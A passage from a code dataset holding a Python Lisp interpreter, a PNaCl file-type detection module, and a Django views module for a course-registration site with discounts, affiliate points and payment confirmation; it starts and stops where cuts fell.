r)))\"\n\n\ndef read_from_tokens(tokens: list) -> Exp:\n \n if len(tokens) == 0:\n raise SyntaxError('unexpected EOF')\n\n token = tokens.pop(0)\n\n if token == '(':\n L = []\n while tokens[0] != ')':\n L.append(read_from_tokens(tokens))\n tokens.pop(0)\n return L\n elif token == ')':\n raise SyntaxError('unexpected )')\n else:\n return atom(token)\n\n\n\ndef atom(token: str) -> Atom:\n try: return int(token)\n except ValueError:\n try: return float(token)\n except ValueError:\n return Symbol(token)\n\n\ndef parse(program: str) -> Exp:\n return read_from_tokens(tokenize(program))\n\n\n\nimport math\nimport operator as op\n\ndef standard_env() -> Env:\n env = Env()\n env.update(vars(math))\n env.update({\n '+': op.add, '-': op.sub, '*': op.mul, '/':op.truediv, '>':op.gt, '<':op.lt, '>=':op.ge, '<=':op.le, '=':op.eq,\n 'abs': abs,\n 'append': op.add, \n 'apply': lambda proc, args: proc(*args),\n 'begin': lambda *x: x[-1],\n 'car': lambda x: x[0],\n 'cdr': lambda x: x[1:], \n 'cons': lambda x,y: [x] + y,\n 'eq?': op.is_, \n 'expt': pow,\n 'equal?': op.eq, \n 'length': len, \n 'list': lambda *x: List(x), \n 'list?': lambda x: isinstance(x, List), \n 'map': map,\n 'max': max,\n 'min': min,\n 'not': op.not_,\n 'null?': lambda x: x == [], \n 'number?': lambda x: isinstance(x, Number), \n\t\t'print': print,\n 'procedure?': callable,\n 'round': round,\n 'symbol?': lambda x: isinstance(x, Symbol),\n\n })\n return env\n\nclass Env(dict):\n def __init__(self, params=(), args=(), outer=None):\n self.update(zip(params, args))\n self.outer = outer\n def find(self, var):\n return self if (var in self) else self.outer.find(var)\n\nclass Procedure(object):\n def __init__(self, params, body, env):\n self.params, self.body, self.env = params, body, env\n def __call__(self, *args):\n return eval(self.body, Env(self.params, args, self.env))\n\nglobal_env = standard_env()\n\n\n\n\ndef eval(x: Exp, env=global_env) -> Exp:\n if isinstance(x, Symbol):\n return env.find(x)[x]\n elif not isinstance(x, List):\n return x\n\n op, *args = x\n\n if op == 'quote':\n return args[0]\n \n elif op == 'if':\n (test, conseq, alt) = args\n exp = (conseq if eval(test, env) else alt)\n return eval(exp, env)\n\n elif op == 'define':\n (symbol, exp) = args\n env[symbol] = eval(exp, env)\n \n elif op == 'set!':\n (symbol, exp) = args\n env.find(symbol)[symbol] = eval(exp, env)\n \n elif op == 'lambda':\n (params, body) = args\n return Procedure(params, body, env)\n else:\n proc = eval(op, env)\n vals = [eval(arg, env) for arg in args]\n return proc(*vals)\n\n \ndef repl(prompt='lis.py> '):\n while True:\n val = eval(parse(input(prompt)))\n if val is not None:\n print(schemestr(val))\n\n\ndef schemestr(exp):\n if isinstance(exp, List):\n print(exp)\n return '(' + ' '.join(map(schemestr, exp)) + ')'\n else:\n return str(exp)\n\nrepl()","repo_name":"sarvasvkulpati/lispy","sub_path":"lis.py","file_name":"lis.py","file_ext":"py","file_size_in_byte":3924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"15577374961","text":"import artools\nimport driver_log\nimport elftools\nimport ldtools\n\nLLVM_BITCODE_MAGIC = 'BC\\xc0\\xde'\nLLVM_WRAPPER_MAGIC = '\\xde\\xc0\\x17\\x0b'\nPNACL_BITCODE_MAGIC = 'PEXE'\n\nclass SimpleCache(object):\n \"\"\" Cache results of a function using a dictionary. \"\"\"\n\n __all_caches = dict()\n\n @classmethod\n def ClearAllCaches(cls):\n \"\"\" Clear cached results from all functions. \"\"\"\n for d in cls.__all_caches.itervalues():\n d.clear()\n\n def __init__(self, f):\n SimpleCache.__all_caches[self] = dict()\n self.cache = SimpleCache.__all_caches[self]\n self.func = f\n\n def __call__(self, *args):\n if args in self.cache:\n return self.cache[args]\n else:\n result = self.func(*args)\n self.cache[args] = result\n return result\n\n def __repr__(self):\n return self.func.__doc__\n\n def OverrideValue(self, value, *args):\n \"\"\" Force a function call with |args| to return |value|. \"\"\"\n self.cache[args] = value\n\n def ClearCache(self):\n \"\"\" Clear cached results for one instance (function). \"\"\"\n self.cache.clear()\n\n\n@SimpleCache\ndef IsNative(filename):\n return (IsNativeObject(filename) or\n IsNativeDSO(filename) or\n IsNativeArchive(filename))\n\n@SimpleCache\ndef IsNativeObject(filename):\n return FileType(filename) == 'o'\n\n@SimpleCache\ndef IsNativeDSO(filename):\n return FileType(filename) == 'so'\n\n@SimpleCache\ndef GetBitcodeMagic(filename):\n fp = driver_log.DriverOpen(filename, 'rb')\n header = fp.read(4)\n driver_log.DriverClose(fp)\n return header\n\ndef IsLLVMBitcodeWrapperHeader(data):\n return data[:4] == LLVM_WRAPPER_MAGIC\n\n@SimpleCache\ndef IsLLVMWrappedBitcode(filename):\n return IsLLVMBitcodeWrapperHeader(GetBitcodeMagic(filename))\n\ndef IsPNaClBitcodeHeader(data):\n return data[:4] == PNACL_BITCODE_MAGIC\n\n@SimpleCache\ndef IsPNaClBitcode(filename):\n return IsPNaClBitcodeHeader(GetBitcodeMagic(filename))\n\ndef IsLLVMRawBitcodeHeader(data):\n return data[:4] == LLVM_BITCODE_MAGIC\n\n@SimpleCache\ndef IsLLVMBitcode(filename):\n header = GetBitcodeMagic(filename)\n return IsLLVMRawBitcodeHeader(header) or IsLLVMBitcodeWrapperHeader(header)\n\n@SimpleCache\ndef IsArchive(filename):\n return artools.IsArchive(filename)\n\n@SimpleCache\ndef IsBitcodeArchive(filename):\n filetype = FileType(filename)\n return filetype == 'archive-bc'\n\n@SimpleCache\ndef IsNativeArchive(filename):\n return IsArchive(filename) and not IsBitcodeArchive(filename)\n\n\n# If FORCED_FILE_TYPE is set, FileType() will return FORCED_FILE_TYPE for all\n# future input files. This is useful for the \"as\" incarnation, which\n# needs to accept files of any extension and treat them as \".s\" (or \".ll\")\n# files. Also useful for gcc's \"-x\", which causes all files between the\n# current -x and the next -x to be treated in a certain way.\nFORCED_FILE_TYPE = None\ndef SetForcedFileType(t):\n global FORCED_FILE_TYPE\n FORCED_FILE_TYPE = t\n\ndef GetForcedFileType():\n return FORCED_FILE_TYPE\n\ndef ForceFileType(filename, newtype = None):\n if newtype is None:\n if FORCED_FILE_TYPE is None:\n return\n newtype = FORCED_FILE_TYPE\n FileType.OverrideValue(newtype, filename)\n\ndef ClearFileTypeCaches():\n \"\"\" Clear caches for all filetype functions (externally they must all be\n cleared together because they can call each other)\n \"\"\"\n SimpleCache.ClearAllCaches()\n\n# File Extension -> Type string\n# TODO(pdox): Add types for sources which should not be preprocessed.\nExtensionMap = {\n 'c' : 'c',\n 'i' : 'c', # C, but should not be preprocessed.\n\n 'cc' : 'c++',\n 'cp' : 'c++',\n 'cxx' : 'c++',\n 'cpp' : 'c++',\n 'CPP' : 'c++',\n 'c++' : 'c++',\n 'C' : 'c++',\n 'ii' : 'c++', # C++, but should not be preprocessed.\n\n 'm' : 'objc', # .m = \"Objective-C source file\"\n\n 'll' : 'll',\n 'bc' : 'po',\n 'po' : 'po', # .po = \"Portable object file\"\n 'pexe': 'pexe', # .pexe = \"Portable executable\"\n 'asm' : 'S',\n 'S' : 'S',\n 'sx' : 'S',\n 's' : 's',\n 'o' : 'o',\n 'os' : 'o',\n 'so' : 'so',\n 'nexe': 'nexe',\n}\n\ndef IsSourceType(filetype):\n return filetype in ('c','c++','objc')\n\n# The SimpleCache decorator is required for correctness, due to the\n# ForceFileType mechanism.\n@SimpleCache\ndef FileType(filename):\n # Auto-detect bitcode files, since we can't rely on extensions\n ext = filename.split('.')[-1]\n\n # TODO(pdox): We open and read the the first few bytes of each file\n # up to 4 times, when we only need to do it once. The\n # OS cache prevents us from hitting the disk, but this\n # is still slower than it needs to be.\n if IsArchive(filename):\n return artools.GetArchiveType(filename)\n\n if elftools.IsELF(filename):\n return GetELFType(filename)\n\n # If this is LLVM bitcode, we don't have a good way of determining if it\n # is an object file or a non-finalized program, so just say 'po' for now.\n if IsLLVMBitcode(filename):\n return 'po'\n\n if IsPNaClBitcode(filename):\n return 'pexe'\n\n if ldtools.IsLinkerScript(filename):\n return 'ldscript'\n\n # Use the file extension if it is recognized\n if ext in ExtensionMap:\n return ExtensionMap[ext]\n\n driver_log.Log.Fatal('%s: Unrecognized file type', filename)\n\n@SimpleCache\ndef IsELF(filename):\n return elftools.IsELF(filename)\n\n@SimpleCache\ndef GetELFType(filename):\n \"\"\" ELF type as determined by ELF metadata \"\"\"\n assert(elftools.IsELF(filename))\n elfheader = elftools.GetELFHeader(filename)\n elf_type_map = {\n 'EXEC': 'nexe',\n 'REL' : 'o',\n 'DYN' : 'so'\n }\n return elf_type_map[elfheader.type]\n\n# Map from GCC's -x file types and this driver's file types.\nFILE_TYPE_MAP = {\n 'c' : 'c',\n 'c++' : 'c++',\n 'assembler' : 's',\n 'assembler-with-cpp': 'S',\n}\nFILE_TYPE_MAP_REVERSE = dict([reversed(_tmp) for _tmp in FILE_TYPE_MAP.items()])\n\ndef FileTypeToGCCType(filetype):\n return FILE_TYPE_MAP_REVERSE[filetype]\n\ndef GCCTypeToFileType(gcctype):\n if gcctype not in FILE_TYPE_MAP:\n driver_log.Log.Fatal('language \"%s\" not recognized' % gcctype)\n return FILE_TYPE_MAP[gcctype]\n","repo_name":"houseoflifeproperty/bitpop","sub_path":"src/native_client/pnacl/driver/filetype.py","file_name":"filetype.py","file_ext":"py","file_size_in_byte":6037,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"72695723754","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect, get_object_or_404, reverse\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.contrib import messages\nfrom django.db.utils import IntegrityError\nfrom django.views import generic\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom course.forms import (\n RegistrationFormAdd,\n PaymentConfirmForm,\n TrainingForm,\n SchedduleForm,\n DiscountForm,\n JadwalFileForm,\n MaxPesertaForm,\n PaymentConfirmManual\n)\nfrom course.models import (\n Registration,\n Training,\n Scheddule,\n MonthYearScheddule,\n DayScheddule,\n PaymentConfirm,\n Discount,\n MaxPeserta,\n PointHistory,\n)\nfrom accounts.utils import SendEmail\nfrom accounts.models import Profile\nfrom course.choices import TrainingType\nimport csv\nimport os\n\n\n@login_required\ndef daftar_training(request):\n if request.method == \"POST\":\n form = RegistrationFormAdd(request.POST)\n try:\n if form.is_valid():\n reg = form.save(commit=False)\n reg.user = request.user\n harga_diskon = reg.training.price\n try:\n max_peserta = MaxPeserta.objects.get(id=1)\n except:\n max_peserta = None\n\n if (\n max_peserta\n and reg.scheddule.get_jml_peserta() >= max_peserta.max_peserta\n ) and \"bootcamp\" not in reg.training.name.lower():\n raise Exception(\n \"Mohon maaf, Jadwal ini sudah Full, silahkan pilih jadwal lain\"\n )\n\n if reg.diskon_kode and reg.training.exclude_diskon:\n raise Exception(\"Tidak bisa menggunakan diskon untuk training ini\")\n\n if reg.affiliate_kode and reg.training.exclude_diskon:\n raise Exception(\"Tidak bisa menggunakan Affiliate Kode pada training ini\")\n\n if reg.affiliate_point_used and reg.training.exclude_diskon:\n raise Exception(\"Tidak bisa menggunakan affiliate point pada training ini\")\n\n # if they use diskon kode\n if reg.diskon_kode:\n if reg.training.name == \"AWS\":\n raise Exception(\"Diskon tidak berlaku untuk training ini\")\n\n diskon = Discount.objects.get(kode=reg.diskon_kode)\n if (\n timezone.now().date() <= diskon.end_date\n and reg.training_type == diskon.training_type\n ):\n\n # if diskon pelajar\n if diskon.diskon_pelajar:\n if reg.affiliate_kode or reg.affiliate_point_used:\n raise Exception(\n \"Tidak bisa menggunakan affiliate jika sudah menggunakan diskon pelajar/pengajar\"\n )\n\n if reg.training_type == 0: # offline\n harga_diskon = reg.training.price - 500000\n elif reg.training_type == 1: # online kurangi 15% & 700rb\n harga_diskon = reg.training.price - (\n reg.training.price * 10 / 100\n )\n harga_diskon = harga_diskon - 500000\n\n else:\n harga_diskon = reg.training.price - (\n reg.training.price * diskon.persen / 100\n )\n else:\n raise Exception(\n \"Diskon tidak berlaku untuk tipe training ini atau sudah berahir\"\n )\n\n # if they use their affiliate code, raise exception\n if reg.affiliate_kode == request.user.profile.affiliate_id:\n raise Exception(\n \"Anda tidak bisa menggunakan kode affiliate milik Anda sendiri untuk mendaftar\"\n )\n\n # if they use affiliate kode, decrease harga diskon 5% from\n if reg.affiliate_kode:\n Profile.objects.get(affiliate_id=reg.affiliate_kode)\n harga_diskon = harga_diskon - (reg.training.price * 5 / 100)\n\n # If the use affiliate point,\n # make sure that affiliate_point_used is not more than affiliate_point that they have.\n # if valid, set harga_diskon - affiliate_point * 1000\n if reg.affiliate_point_used:\n user_profile = Profile.objects.get(user=request.user.id)\n if int(reg.affiliate_point_used) > int(\n user_profile.affiliate_point\n ):\n raise Exception(\n \"Affiliate Point yang Anda masukkan melebihi Affiliate Point yang Anda miliki\"\n )\n else:\n harga_diskon = harga_diskon - (\n int(reg.affiliate_point_used) * 1000\n )\n\n # set harga diskon, ini akan ditampilkan di admin berapa yg harus mereka bayar\n\n # untuk mtcna online harga diskon dibalikin ke harga asli\n if reg.training.name == \"MTCNA\" and reg.training_type == 1:\n\n reg.harga_diskon = reg.training.price\n else:\n reg.harga_diskon = harga_diskon\n reg.save()\n data = {\n \"name\": reg.user.email,\n \"training\": reg.training.name,\n \"training_type\": reg.get_training_type(),\n \"jadwal\": f\"{reg.scheddule.day.day}, {reg.month_year}\",\n \"harga_asli\": \"{:,}\".format(reg.training.price),\n \"harga_diskon\": \"{:,}\".format(reg.harga_diskon),\n }\n SendEmail(user=reg.user).panduan_pembayaran(data)\n messages.success(\n request,\n \"Pendaftaran berhasil, silahkan check email Anda untuk melihat Panduan Pembayaran (check folder spam, promotions, dll)\",\n )\n return redirect(\"home:home\")\n except IntegrityError:\n messages.error(request, \"Anda sudah mendaftar training ini!\")\n except Discount.DoesNotExist:\n messages.error(request, \"Kode diskon tidak valid\")\n except Profile.DoesNotExist:\n messages.error(request, \"Kode Affiliate tidak valid\")\n except Exception as e:\n messages.error(request, e)\n\n else:\n form = RegistrationFormAdd()\n\n if not request.user.profile.is_valid():\n messages.error(\n request,\n \"Anda harus melengkap profile Anda sebelum mendaftar, disini\",\n )\n return redirect(\"home:home\")\n\n context = {\"form\": form, \"button\": \"Daftar Training\"}\n return render(request, \"course/daftar_training.html\", context)\n\n\n@login_required\ndef edit_pendaftaran(request, pk):\n reg = get_object_or_404(Registration, pk=pk)\n if request.method == \"POST\":\n form = RegistrationFormAdd(request.POST, instance=reg)\n if form.is_valid():\n form.save()\n messages.success(request, \"Pendaftaran berhasil di edit!\")\n return redirect(\"home:home\")\n else:\n form = RegistrationFormAdd(instance=reg)\n\n context = {\"form\": form, \"button\": \"Update Training\"}\n return render(request, \"course/daftar_training.html\", context)\n\n\n@login_required\ndef delete_registration(request, pk):\n reg = get_object_or_404(Registration, pk=pk)\n if reg.status == 1 or reg.status == 2 or reg.status == 3:\n messages.error(\n request,\n \"Anda tidak bisa menghapus pendaftaran setelah melakukan pembayaran\",\n )\n else:\n reg.delete()\n messages.success(request, \"Pendaftaran berhasil di hapus\")\n return redirect(\"home:home\")\n\n\n@login_required\ndef payment_confirm(request, registration_id):\n reg = get_object_or_404(Registration, pk=registration_id)\n if request.method == \"POST\":\n form = PaymentConfirmForm(request.POST, request.FILES)\n if form.is_valid():\n payment = form.save(commit=False)\n payment.registration = reg\n payment.user = request.user\n payment.status = 1\n payment.save()\n reg.status = 1\n reg.save()\n # todo kirim email juga ke pserta, terimakasih telah melakukan konfirmasi pembayaran\n messages.success(\n request,\n \"Terimakasih telah melakukan konfirmasi pembayaran. Admin kami akan segera menghubungi Anda via email maksimal 1x24 jam\",\n )\n return redirect(\"home:home\")\n else:\n form = PaymentConfirmForm()\n return render(request, \"course/payment_confirm.html\", {\"form\": form})\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_jadwal(request):\n scheds = Scheddule.objects.filter(training_type=0).order_by(\"-created_at\")\n context = {\"scheds\": scheds, \"tipe\": \"Training Offline\"}\n return render(request, \"course/list_jadwal.html\", context)\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_jadwal_online(request):\n scheds = Scheddule.objects.filter(training_type=1).order_by(\"-created_at\")\n context = {\"scheds\": scheds, \"tipe\": \"Training Online\"}\n return render(request, \"course/list_jadwal.html\", context)\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef download_contoh_jadwal(request):\n file = os.path.join(settings.BASE_DIR, \"templates/master/master_import_jadwal.csv\")\n if os.path.exists(file):\n with open(file, \"rb\") as fh:\n response = HttpResponse(fh.read(), content_type=\"text/csv\")\n response[\"Content-Disposition\"] = \"inline; filename=\" + os.path.basename(\n file\n )\n return response\n\n\nclass AddJadwal(generic.CreateView):\n model = Scheddule\n template_name = \"course/add_jadwal.html\"\n form_class = SchedduleForm\n\n def get_success_url(self):\n return reverse(\"course:list_jadwal\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef add_jadwal(request):\n if request.method == \"POST\":\n request.POST._mutable = True\n day = request.POST.pop(\"day_\")[0]\n month_year = MonthYearScheddule.objects.get(id=request.POST.get(\"month_year\"))\n day, created = DayScheddule.objects.get_or_create(\n day=day, month_year=month_year\n )\n form = SchedduleForm(request.POST)\n if form.is_valid():\n jadwal = form.save(commit=False)\n jadwal.day = day\n jadwal.save()\n messages.success(request, \"Jadwal berhasil ditambahkan\")\n return redirect(\"course:list_jadwal\")\n else:\n form = SchedduleForm()\n\n return render(request, \"course/add_jadwal.html\", {\"form\": form})\n\n\nclass UpdateJadwal(generic.UpdateView):\n model = Scheddule\n form_class = SchedduleForm\n template_name = \"course/edit_jadwal.html\"\n\n def get_success_url(self):\n return reverse(\"course:list_jadwal\")\n\n\n@staff_member_required(login_url=\"acounts:login\")\ndef delete_jadwal(request, pk):\n jadwal = get_object_or_404(Scheddule, pk=pk)\n jadwal.delete()\n messages.error(request, \"Jadwal berhasil di hapus\")\n return redirect(\"course:list_jadwal\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_training(request):\n list_training = Training.objects.all().order_by(\"created_at\")\n context = {\"list_training\": list_training}\n return render(request, \"course/list_training.html\", context)\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef add_training(request):\n if request.method == \"POST\":\n form = TrainingForm(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, \"Training berhasil ditambahkan\")\n return redirect(\"course:list_training\")\n else:\n form = TrainingForm()\n\n return render(request, \"course/add_training.html\", {\"form\": form})\n\n\nclass UpdateTraining(generic.UpdateView):\n model = Training\n form_class = TrainingForm\n template_name = \"course/edit_training.html\"\n\n def get_success_url(self):\n return reverse(\"course:list_training\")\n\n\n@staff_member_required(login_url=\"acounts:login\")\ndef delete_training(request, pk):\n training = get_object_or_404(Training, pk=pk)\n training.delete()\n messages.error(request, \"Training berhasil di hapus\")\n return redirect(\"course:list_training\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_pembayaran(request):\n list_pembayaran = PaymentConfirm.objects.filter(status=1)\n return render(\n request, \"course/list_pembayaran.html\", {\"list_pembayaran\": list_pembayaran}\n )\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_pembayaran_dp_lunas(request):\n list_pembayaran = PaymentConfirm.objects.filter(Q(status=2) | Q(status=3))\n\n # cari total unique payment\n reg_list = []\n new_list_pembayaran = []\n for pembayaran in list_pembayaran:\n if pembayaran.registration not in reg_list:\n new_list_pembayaran.append(pembayaran)\n reg_list.append(pembayaran.registration)\n\n return render(\n request,\n \"course/list_pembayaran_dp_lunas.html\",\n {\n \"list_pembayaran\": list_pembayaran,\n \"title\": \"List Pembayaran DP / Lunas\",\n \"total_unique_payment\": len(new_list_pembayaran),\n },\n )\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_pembayaran_ditolak(request):\n list_pembayaran = PaymentConfirm.objects.filter(Q(status=4))\n return render(\n request,\n \"course/list_pembayaran_dp_lunas.html\",\n {\"list_pembayaran\": list_pembayaran, \"title\": \"List Pembayaran Ditolak\"},\n )\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef konfirmasi_pembayaran_dp(request, pk):\n pembayaran = get_object_or_404(PaymentConfirm, pk=pk)\n\n # if they use affiliate_kode, add up_user point to 200\n if pembayaran.registration.affiliate_kode is not None:\n up_user = Profile.objects.get(\n affiliate_id=pembayaran.registration.affiliate_kode\n )\n up_user.affiliate_point = up_user.affiliate_point + 200\n up_user.save()\n\n # if the use affiliate point when register, kurangi affiliate point yg dia punya\n if pembayaran.registration.affiliate_point_used is not None:\n user_profile = pembayaran.registration.user.profile\n user_profile.affiliate_point = (\n user_profile.affiliate_point - pembayaran.registration.affiliate_point_used\n )\n user_profile.save()\n\n # create point history object\n PointHistory.objects.create(\n registration=pembayaran.registration,\n point_used=pembayaran.registration.affiliate_point_used,\n user=pembayaran.registration.user,\n )\n\n pembayaran.registration.status = 2\n pembayaran.registration.save()\n pembayaran.status = 2\n pembayaran.save()\n data = {\n \"name\": pembayaran.user.email,\n \"training\": pembayaran.registration.training.name,\n \"training_type\": pembayaran.registration.get_training_type(),\n \"jadwal\": f\"{pembayaran.registration.scheddule.day.day}, {pembayaran.registration.month_year}\",\n }\n SendEmail(user=pembayaran.user).konfirmasi_pembayaran_dp(data)\n return redirect(\"course:list_pembayaran\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef konfirmasi_pembayaran_lunas(request, pk):\n pembayaran = get_object_or_404(PaymentConfirm, pk=pk)\n reg_id = pembayaran.registration.id\n\n # memastikan bahwa sebelumnya belum ada konfirmasi DP untuk pembayaran ini.\n try:\n skip = False\n previous_pembayaran = PaymentConfirm.objects.filter(registration=reg_id)\n for pemb in previous_pembayaran:\n # kalau ada pembayaran pada registrasi ini dan status nya DP, maka skip\n if pemb.status == 2:\n skip = True\n\n # kalau tidak skip, berarti belum ada konfirmasi pembayaran DP.. point up user nya ditambah\n if not skip:\n if pembayaran.registration.affiliate_kode is not None:\n up_user = Profile.objects.get(\n affiliate_id=pembayaran.registration.affiliate_kode\n )\n up_user.affiliate_point = up_user.affiliate_point + 200\n up_user.save()\n\n # if they use affiliate point when register, kurangi affiliate point yg dia punya\n if pembayaran.registration.affiliate_point_used is not None:\n user_profile = pembayaran.registration.user.profile\n user_profile.affiliate_point = (\n user_profile.affiliate_point\n - pembayaran.registration.affiliate_point_used\n )\n user_profile.save()\n\n # create point history object\n PointHistory.objects.create(\n registration=pembayaran.registration,\n point_used=pembayaran.registration.affiliate_point_used,\n user=pembayaran.registration.user,\n )\n\n except:\n # if they use affiliate kode, tambahkan 200 pint untuk up_user\n if pembayaran.registration.affiliate_kode is not None:\n up_user = Profile.objects.get(\n affiliate_id=pembayaran.registration.affiliate_kode\n )\n up_user.affiliate_point = up_user.affiliate_point + 200\n up_user.save()\n\n pembayaran.registration.status = 3\n pembayaran.registration.save()\n pembayaran.status = 3\n pembayaran.save()\n data = {\n \"name\": pembayaran.user.email,\n \"training\": pembayaran.registration.training.name,\n \"training_type\": pembayaran.registration.get_training_type(),\n \"jadwal\": f\"{pembayaran.registration.scheddule.day.day}, {pembayaran.registration.month_year}\",\n }\n SendEmail(user=pembayaran.user).konfirmasi_pembayaran_lunas(data)\n return redirect(\"course:list_pembayaran_dp_lunas\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef hapus_konfirmasi(request, pk):\n pembayaran = get_object_or_404(PaymentConfirm, pk=pk)\n pembayaran.registration.status = 1\n pembayaran.registration.save()\n pembayaran.status = 1\n pembayaran.save()\n return redirect(\"course:list_pembayaran_dp_lunas\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef tolak_pembayaran(request, pk):\n pembayaran = get_object_or_404(PaymentConfirm, pk=pk)\n\n # ini untuk refund, point uplink user harus dikurangi\n if pembayaran.registration.affiliate_kode is not None:\n if pembayaran.registration.status == 2 or pembayaran.registration.status == 3:\n up_user = Profile.objects.get(\n affiliate_id=pembayaran.registration.affiliate_kode\n )\n up_user.affiliate_point = up_user.affiliate_point - 200\n up_user.save()\n\n pembayaran.registration.status = 4\n pembayaran.registration.save()\n pembayaran.status = 4\n pembayaran.save()\n data = {\n \"name\": pembayaran.user.email,\n \"training\": pembayaran.registration.training.name,\n \"training_type\": pembayaran.registration.get_training_type(),\n \"jadwal\": f\"{pembayaran.registration.scheddule.day.day}, {pembayaran.registration.month_year}\",\n }\n SendEmail(user=pembayaran.user).konfirmasi_pembayaran_tolak(data)\n return redirect(\"course:list_pembayaran_dp_lunas\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_pendaftar_belum_bayar(request):\n list_pendaftar = Registration.objects.filter(status=0)\n return render(\n request, \"course/list_pendaftar.html\", {\"list_pendaftar\": list_pendaftar}\n )\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef export_pendaftar_belum_bayar(request):\n if \"last\" in request.GET:\n date = timezone.now() - timezone.timedelta(days=int(request.GET.get(\"last\")))\n list_pendaftar = Registration.objects.filter(\n Q(status=0) & Q(created_at__gte=date)\n ).order_by(\"-created_at\")\n else:\n list_pendaftar = Registration.objects.filter(status=0).order_by(\"-created_at\")\n\n response = HttpResponse(content_type=\"text/csv\")\n response[\"Content-Disposition\"] = 'attachment; filename=\"pendaftar_belum_bayar.csv\"'\n\n writer = csv.writer(response, delimiter=\";\")\n\n writer.writerow(\n [\"User\", \"Training\", \"Training Type\", \"Jadwal\", \"No HP\", \"Email\", \"Created At\"]\n )\n\n rows = []\n for pendaftar in list_pendaftar:\n col = []\n col.append(pendaftar.user.profile.name)\n col.append(pendaftar.training.name)\n col.append(pendaftar.get_training_type())\n col.append(\n f\"{pendaftar.scheddule.day}, {pendaftar.scheddule.month_year.month} {pendaftar.scheddule.month_year.year}\"\n )\n col.append(pendaftar.user.profile.phone_number)\n col.append(pendaftar.user.email)\n col.append(pendaftar.created_at)\n rows.append(col)\n\n for row in rows:\n writer.writerow(row)\n\n return response\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_peserta(request, pk):\n jadwal = Scheddule.objects.get(pk=pk)\n all_peserta = Registration.objects.filter(Q(scheddule=jadwal))\n peserta_bayar = all_peserta.filter(Q(status=2) | Q(status=3))\n return render(\n request,\n \"course/list_peserta.html\",\n {\"jadwal\": jadwal, \"peserta_bayar\": peserta_bayar},\n )\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef list_diskon(request):\n diskon = Discount.objects.all().order_by(\"-created_at\")\n return render(request, \"course/list_diskon.html\", {\"diskon\": diskon})\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef add_diskon(request):\n if request.method == \"POST\":\n form = DiscountForm(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, \"Diskon berhasil ditambahkan\")\n return redirect(\"course:list_diskon\")\n else:\n form = DiscountForm()\n\n return render(request, \"course/add_diskon.html\", {\"form\": form})\n\n\nclass UpdateDiskon(generic.UpdateView):\n model = Discount\n form_class = DiscountForm\n template_name = \"course/edit_diskon.html\"\n\n def get_success_url(self):\n return reverse(\"course:list_diskon\")\n\n\n@staff_member_required(login_url=\"acounts:login\")\ndef delete_diskon(request, pk):\n diskon = get_object_or_404(Discount, pk=pk)\n diskon.delete()\n messages.error(request, \"Diskon berhasil di hapus\")\n return redirect(\"course:list_diskon\")\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef upload_jadwal(request):\n error_list = []\n\n if request.method == \"POST\":\n form = JadwalFileForm(request.POST, request.FILES)\n if form.is_valid():\n file = form.save()\n csv_file = open(file.file.url.strip(\"/\"), \"r\")\n content = list(csv.reader(csv_file, delimiter=\";\"))\n csv_file.close()\n\n # hapus file & model instance\n os.remove(file.file.url.strip(\"/\"))\n file.delete()\n\n # master_header = [\"training\", \"training_type\", \"month\", \"year\", \"day\"]\n master_header = [\"\\ufefftraining\", \"training_type\", \"month\", \"year\", \"day\"]\n header = content.pop(0)\n if header != master_header:\n messages.error(\n request, \"Format file tidak sesuai, silahkan download contohnya\"\n )\n return redirect(\"course:upload_jadwal\")\n\n for row in content:\n try:\n training = Training.objects.get(name=row[0])\n training_type = TrainingType.dict_choices[row[1]]\n month_year = MonthYearScheddule.objects.get(\n month=int(row[2]), year=int(row[3])\n )\n day, created = DayScheddule.objects.get_or_create(\n month_year=month_year, day=row[4]\n )\n Scheddule.objects.create(\n training=training,\n training_type=training_type,\n month_year=month_year,\n day=day,\n )\n except IntegrityError:\n row.append(\"jadwal tersebut sudah ada\")\n error_list.append(row)\n except Exception as e:\n row.append(e)\n error_list.append(row)\n messages.success(request, \"Jadwal berhasil di upload\")\n\n return render(request, \"course/jadwal_upload.html\", {\"error_list\": error_list})\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef set_max_peserta(request):\n try:\n max_peserta = MaxPeserta.objects.get(id=1)\n except:\n max_peserta = MaxPeserta.objects.create(max_peserta=5)\n\n if request.method == \"POST\":\n form = MaxPesertaForm(request.POST, instance=max_peserta)\n if form.is_valid():\n form.save()\n messages.success(request, \"Max Peserta berhasil diupdate\")\n return redirect(\"course:set_max_peserta\")\n else:\n form = MaxPesertaForm(instance=max_peserta)\n\n return render(request, \"course/set_max_peserta.html\", {\"form\": form})\n\n\n@staff_member_required(login_url=\"accounts:login\")\ndef fu(request, reg_id):\n reg = get_object_or_404(Registration, id=reg_id)\n reg.fu_count = reg.fu_count + 1\n reg.last_fu = timezone.now()\n reg.save()\n\n nama = reg.user.profile.name.replace(\" \", \"%20\")\n training = reg.training.name.replace(\" \", \"%20\")\n training_type = reg.get_training_type().replace(\" \", \"%20\")\n jadwal = str(reg.scheddule).replace(\" \", \"%20\")\n wa_link = 